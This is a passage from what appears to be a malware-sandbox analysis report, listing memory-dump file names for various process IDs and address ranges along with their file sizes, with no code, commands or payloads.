                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/856-314-0x0000000000010000-0x0000000000042000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  200KB

                                                                                                                                                                                                • memory/1416-219-0x0000000005C30000-0x0000000005C52000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  136KB

                                                                                                                                                                                                • memory/1416-244-0x0000000006510000-0x0000000006864000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  3.3MB

                                                                                                                                                                                                • memory/1416-226-0x00000000063A0000-0x0000000006406000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  408KB

                                                                                                                                                                                                • memory/1416-482-0x0000000008CA0000-0x0000000009244000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  5.6MB

                                                                                                                                                                                                • memory/1416-373-0x0000000008070000-0x00000000086EA000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  6.5MB

                                                                                                                                                                                                • memory/1416-225-0x0000000006330000-0x0000000006396000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  408KB

                                                                                                                                                                                                • memory/1416-270-0x00000000069B0000-0x00000000069CE000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  120KB

                                                                                                                                                                                                • memory/1416-271-0x00000000069E0000-0x0000000006A2C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  304KB

                                                                                                                                                                                                • memory/1416-401-0x0000000006ED0000-0x0000000006EEA000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  104KB

                                                                                                                                                                                                • memory/1416-194-0x00000000033D0000-0x0000000003406000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  216KB

                                                                                                                                                                                                • memory/1416-196-0x0000000005C90000-0x00000000062B8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  6.2MB

                                                                                                                                                                                                • memory/1496-315-0x0000000000020000-0x00000000000F6000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  856KB

                                                                                                                                                                                                • memory/1820-574-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/1820-1760-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/1820-101-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/1820-600-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/1820-807-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/1820-102-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/1820-967-0x0000000000400000-0x0000000000523000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/3788-88-0x0000000000400000-0x000000000049A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  616KB

                                                                                                                                                                                                • memory/5192-431-0x0000000000C10000-0x0000000000CE6000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  856KB

                                                                                                                                                                                                • memory/5204-525-0x0000000000400000-0x000000000046A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  424KB

                                                                                                                                                                                                • memory/5236-457-0x00000000006A0000-0x00000000006CA000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  168KB

                                                                                                                                                                                                • memory/5236-456-0x00000000006A0000-0x00000000006CA000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  168KB

                                                                                                                                                                                                • memory/5388-1193-0x0000000000400000-0x000000000048A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  552KB

                                                                                                                                                                                                • memory/5388-773-0x0000000000400000-0x000000000048A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  552KB

                                                                                                                                                                                                • memory/5388-429-0x0000000000400000-0x000000000048A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  552KB

                                                                                                                                                                                                • memory/5388-866-0x0000000000400000-0x000000000048A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  552KB

                                                                                                                                                                                                • memory/5388-774-0x0000000000400000-0x000000000048A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  552KB

                                                                                                                                                                                                • memory/5460-602-0x0000000002990000-0x000000000299E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/5460-458-0x0000000000840000-0x000000000091C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  880KB

                                                                                                                                                                                                • memory/5460-675-0x000000001B480000-0x000000001B48C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  48KB

                                                                                                                                                                                                • memory/5460-652-0x00000000029A0000-0x00000000029AE000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/5460-654-0x000000001B410000-0x000000001B41E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/5460-474-0x0000000001230000-0x0000000001236000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  24KB

                                                                                                                                                                                                • memory/5460-657-0x000000001B420000-0x000000001B42C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  48KB

                                                                                                                                                                                                • memory/5460-532-0x000000001B7C0000-0x000000001B944000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.5MB

                                                                                                                                                                                                • memory/5460-673-0x000000001B470000-0x000000001B47E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/5460-551-0x0000000001240000-0x0000000001246000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  24KB

                                                                                                                                                                                                • memory/5520-455-0x0000000000400000-0x0000000000414000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  80KB

                                                                                                                                                                                                • memory/5624-582-0x0000000000E10000-0x0000000000E1E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  56KB

                                                                                                                                                                                                • memory/5768-511-0x00000000050D0000-0x00000000050DA000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  40KB

                                                                                                                                                                                                • memory/5768-512-0x00000000051E0000-0x0000000005236000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  344KB

                                                                                                                                                                                                • memory/5768-495-0x0000000005140000-0x00000000051D2000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  584KB

                                                                                                                                                                                                • memory/5768-489-0x0000000000560000-0x0000000000774000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  2.1MB

                                                                                                                                                                                                • memory/5768-490-0x0000000005000000-0x000000000509C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  624KB

                                                                                                                                                                                                • memory/5780-694-0x00000000086A0000-0x00000000086B8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  96KB

                                                                                                                                                                                                • memory/5780-588-0x00000000003A0000-0x000000000043A000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  616KB

                                                                                                                                                                                                • memory/5808-886-0x000000001CC50000-0x000000001CC9C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  304KB

                                                                                                                                                                                                • memory/5808-882-0x000000001BF60000-0x000000001C006000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  664KB

                                                                                                                                                                                                • memory/5872-479-0x0000000000C20000-0x0000000000C40000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6348-788-0x000000001BE80000-0x000000001BF1C000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  624KB

                                                                                                                                                                                                • memory/6348-801-0x0000000000DB0000-0x0000000000DB8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  32KB

                                                                                                                                                                                                • memory/6348-780-0x000000001B9B0000-0x000000001BE7E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4.8MB

                                                                                                                                                                                                • memory/6376-868-0x00007FF8653D0000-0x00007FF8653E4000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  80KB

                                                                                                                                                                                                • memory/6376-946-0x00007FF8639E0000-0x00007FF863A98000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  736KB

                                                                                                                                                                                                • memory/6376-867-0x00007FF8699C0000-0x00007FF8699E4000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  144KB

                                                                                                                                                                                                • memory/6376-853-0x00007FF865440000-0x00007FF865459000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  100KB

                                                                                                                                                                                                • memory/6376-869-0x00007FF86A500000-0x00007FF86A50D000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  52KB

                                                                                                                                                                                                • memory/6376-870-0x00007FF85FCF0000-0x00007FF85FE08000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.1MB

                                                                                                                                                                                                • memory/6376-858-0x00007FF864780000-0x00007FF864BEE000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                • memory/6376-945-0x00007FF85DF50000-0x00007FF85E2C5000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                • memory/6376-944-0x00007FF865410000-0x00007FF86543E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  184KB

                                                                                                                                                                                                • memory/6376-941-0x00007FF864600000-0x00007FF864771000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                • memory/6376-942-0x00007FF865440000-0x00007FF865459000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  100KB

                                                                                                                                                                                                • memory/6376-940-0x00007FF865460000-0x00007FF86547F000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  124KB

                                                                                                                                                                                                • memory/6376-936-0x00007FF8699C0000-0x00007FF8699E4000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  144KB

                                                                                                                                                                                                • memory/6376-935-0x00007FF864780000-0x00007FF864BEE000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                • memory/6376-836-0x00007FF865860000-0x00007FF865879000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  100KB

                                                                                                                                                                                                • memory/6376-837-0x00007FF865460000-0x00007FF86547F000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  124KB

                                                                                                                                                                                                • memory/6376-838-0x00007FF864600000-0x00007FF864771000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.4MB

                                                                                                                                                                                                • memory/6376-857-0x00007FF8639E0000-0x00007FF863A98000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  736KB

                                                                                                                                                                                                • memory/6376-856-0x00007FF85DF50000-0x00007FF85E2C5000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  3.5MB

                                                                                                                                                                                                • memory/6376-855-0x00007FF865410000-0x00007FF86543E000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  184KB

                                                                                                                                                                                                • memory/6376-854-0x00007FF86BA30000-0x00007FF86BA3D000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  52KB

                                                                                                                                                                                                • memory/6376-823-0x00007FF865880000-0x00007FF8658AD000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  180KB

                                                                                                                                                                                                • memory/6376-784-0x00007FF8699C0000-0x00007FF8699E4000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  144KB

                                                                                                                                                                                                • memory/6376-785-0x00007FF876CE0000-0x00007FF876CEF000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  60KB

                                                                                                                                                                                                • memory/6376-1196-0x00007FF864780000-0x00007FF864BEE000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                • memory/6376-775-0x00007FF864780000-0x00007FF864BEE000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  4.4MB

                                                                                                                                                                                                • memory/6640-950-0x0000000004640000-0x0000000004650000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/6640-951-0x0000000004640000-0x0000000004650000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/6640-962-0x0000000004640000-0x0000000004650000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/6640-961-0x0000000004640000-0x0000000004650000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  64KB

                                                                                                                                                                                                • memory/6960-1215-0x0000000000400000-0x00000000005E8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.9MB

                                                                                                                                                                                                • memory/6960-1703-0x0000000000400000-0x00000000005E8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.9MB

                                                                                                                                                                                                • memory/6960-824-0x0000000000400000-0x00000000005E8000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.9MB

                                                                                                                                                                                                • memory/6988-1046-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1044-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1042-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1037-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1039-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1038-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1036-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/6988-1040-0x0000000000400000-0x0000000000420000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  128KB

                                                                                                                                                                                                • memory/7744-2136-0x00000233AB630000-0x00000233AB652000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  136KB

                                                                                                                                                                                                • memory/8784-1698-0x0000000000400000-0x00000000005D1000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.8MB

                                                                                                                                                                                                • memory/8784-2162-0x0000000000400000-0x00000000005D1000-memory.dmp

                                                                                                                                                                                                  Filesize

                                                                                                                                                                                                  1.8MB